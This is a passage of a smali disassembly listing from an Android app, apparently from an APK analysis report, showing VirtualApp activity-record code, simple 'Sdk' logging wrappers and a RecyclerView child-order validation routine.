                              3cond_3: if-eqz p1, :cond_1a
                              5iget-object v0, p1, Lcom/lody/virtual/server/am/ActivityRecord;->component:Landroid/content/ComponentName;
                              7invoke-virtual {v0}, Landroid/content/ComponentName;->getPackageName()Ljava/lang/String;
                              8move-result-object v0
                              9goto_b:
                              10iget-object v1, p2, Lcom/lody/virtual/server/am/ActivityRecord;->process:Lcom/lody/virtual/server/am/ProcessRecord;
                              12iget-object v1, v1, Lcom/lody/virtual/server/am/ProcessRecord;->client:Lcom/lody/virtual/client/IVClient;
                              14iget-object v2, p2, Lcom/lody/virtual/server/am/ActivityRecord;->token:Landroid/os/IBinder;
                              16invoke-interface {v1, v0, v2, p3}, Lcom/lody/virtual/client/IVClient;->scheduleNewIntent(Ljava/lang/String;Landroid/os/IBinder;Landroid/content/Intent;)V
                              17try_end_14: goto/16 :goto_2
                              18catch_15: move-exception v0
                              20invoke-virtual {v0}, Landroid/os/RemoteException;->printStackTrace()V
                              21goto/16 :goto_2
                              22cond_1a:
                              23const-string v0, "android"
                              24goto/16 :goto_b
                              25catch_1d: move-exception v0
                              27invoke-virtual {v0}, Ljava/lang/NullPointerException;->printStackTrace()V
                              28goto/16 :goto_2
                              Cross References
                              APIs
                              • android.text.TextUtils.isEmpty
                              • android.util.Log.d
                              Strings
                              • Sdk
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p0}, Lcom/core/model/h;->a(Landroid/content/Context;)Z
                              3move-result v0
                              4if-eqz v0, :cond_11
                              6invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              7move-result v0
                              8if-nez v0, :cond_11
                              10const-string v0, "Sdk"
                              12invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                              13cond_11: return-void
                              Cross References
                              APIs
                              • android.text.TextUtils.isEmpty
                              • android.util.Log.e
                              Strings
                              • Sdk
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p0}, Lcom/core/model/h;->a(Landroid/content/Context;)Z
                              3move-result v0
                              4if-eqz v0, :cond_11
                              6invoke-static {p1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              7move-result v0
                              8if-nez v0, :cond_11
                              10const-string v0, "Sdk"
                              12invoke-static {v0, p1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                              13cond_11: return-void
                              APIs
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.RuntimeException.<init>
                              • java.lang.RuntimeException.<init>
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.RuntimeException.<init>
                              • java.lang.RuntimeException.<init>
                              Strings
                              • validating child count
                              • detected invalid position. loc invalid?
                              • detected invalid location
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x1
                              2const/4 v2, 0x0
                              3new-instance v0, Ljava/lang/StringBuilder;
                              5invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              7const-string v3, "validating child count "
                              9invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              11invoke-virtual {p0}, Laev;->getChildCount()I
                              12move-result v3
                              14invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              16invoke-virtual {p0}, Laev;->getChildCount()I
                              17move-result v0
                              18if-lez v0, :cond_b9
                              20invoke-virtual {p0, v2}, Laev;->getChildAt(I)Landroid/view/View;
                              21move-result-object v0
                              23invoke-virtual {p0, v0}, Laev;->getPosition(Landroid/view/View;)I
                              24move-result v3
                              26iget-object v0, p0, Ladj;->mOrientationHelper:Laec;
                              28invoke-virtual {p0, v2}, Laev;->getChildAt(I)Landroid/view/View;
                              29move-result-object v4
                              31invoke-virtual {v0, v4}, Laec;->a(Landroid/view/View;)I
                              32move-result v4
                              33iget-boolean v0, p0, Ladj;->mShouldReverseLayout:Z
                              34if-nez v0, :cond_72
                              35move v0, v1
                              36goto_30:
                              37invoke-virtual {p0}, Laev;->getChildCount()I
                              38move-result v5
                              39if-ge v0, v5, :cond_b9
                              41invoke-virtual {p0, v0}, Laev;->getChildAt(I)Landroid/view/View;
                              42move-result-object v5
                              44invoke-virtual {p0, v5}, Laev;->getPosition(Landroid/view/View;)I
                              45move-result v6
                              47iget-object v7, p0, Ladj;->mOrientationHelper:Laec;
                              49invoke-virtual {v7, v5}, Laec;->a(Landroid/view/View;)I
                              50move-result v5
                              51if-ge v6, v3, :cond_62
                              53invoke-direct {p0}, Ladj;->logChildren()V
                              54new-instance v0, Ljava/lang/RuntimeException;
                              55new-instance v3, Ljava/lang/StringBuilder;
                              57invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              59const-string v6, "detected invalid position. loc invalid? "
                              61invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              62if-ge v5, v4, :cond_b5
                              63goto_57:
                              64invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                              66invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              67move-result-object v1
                              69invoke-direct {v0, v1}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;)V
                              70throw v0
                              71cond_62: if-ge v5, v4, :cond_6f
                              73invoke-direct {p0}, Ladj;->logChildren()V
                              74new-instance v0, Ljava/lang/RuntimeException;
                              76const-string v1, "detected invalid location"
                              78invoke-direct {v0, v1}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;)V
                              79throw v0
                              80cond_6f: add-int/lit8 v0, v0, 0x1
                              81goto/16 :goto_30
                              82cond_72: move v0, v1
                              83goto_73:
                              84invoke-virtual {p0}, Laev;->getChildCount()I
                              85move-result v5
                              86if-ge v0, v5, :cond_b9
                              88invoke-virtual {p0, v0}, Laev;->getChildAt(I)Landroid/view/View;
                              89move-result-object v5
                              91invoke-virtual {p0, v5}, Laev;->getPosition(Landroid/view/View;)I
                              92move-result v6
                              94iget-object v7, p0, Ladj;->mOrientationHelper:Laec;
                              96invoke-virtual {v7, v5}, Laec;->a(Landroid/view/View;)I
                              97move-result v5
                              98if-ge v6, v3, :cond_a5
                              100invoke-direct {p0}, Ladj;->logChildren()V
                              101new-instance v0, Ljava/lang/RuntimeException;
                              102new-instance v3, Ljava/lang/StringBuilder;
                              104invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              106const-string v6, "detected invalid position. loc invalid? "
                              108invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              109if-ge v5, v4, :cond_b7
                              110goto_9a:
                              111invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                              113invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              114move-result-object v1
                              116invoke-direct {v0, v1}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;)V
                              117throw v0
                              118cond_a5: if-le v5, v4, :cond_b2
                              120invoke-direct {p0}, Ladj;->logChildren()V
                              121new-instance v0, Ljava/lang/RuntimeException;
                              123const-string v1, "detected invalid location"
                              125invoke-direct {v0, v1}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;)V
                              126throw v0
                              127cond_b2: add-int/lit8 v0, v0, 0x1
                              128goto/16 :goto_73
                              129cond_b5: move v1, v2
                              130goto/16 :goto_57
                              131cond_b7: move v1, v2
                              132goto/16 :goto_9a
                              133cond_b9: return-void
                              Cross References
                              APIs
                              • android.util.Log.e
                              Strings
                              • SDK
                              Position Instruction Meta Information
                              0.prologue
                              2const-string/jumbo v0, "SDK"
                              4invoke-static {v0, p0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                              5return-void
                              APIs
                              • android.util.Log.i
                              Strings
                              • Sdk
                              Position Instruction Meta Information
                              0.prologue
                              2const-string/jumbo v0, "Sdk"
                              4invoke-static {v0, p1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                              5return-void
                              Cross References
                              APIs
                              • android.util.Log.e
                              Strings
                              • Sdk
                              Position Instruction Meta Information
                              0.prologue
                              2const-string/jumbo v0, "Sdk"
                              4invoke-static {v0, p1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                              5return-void
                              APIs
                              • android.util.Log.d
                              Strings
                              • Sdk
                              Position Instruction Meta Information
                              0.prologue
                              2const-string/jumbo v0, "Sdk"
                              4invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
                              5return-void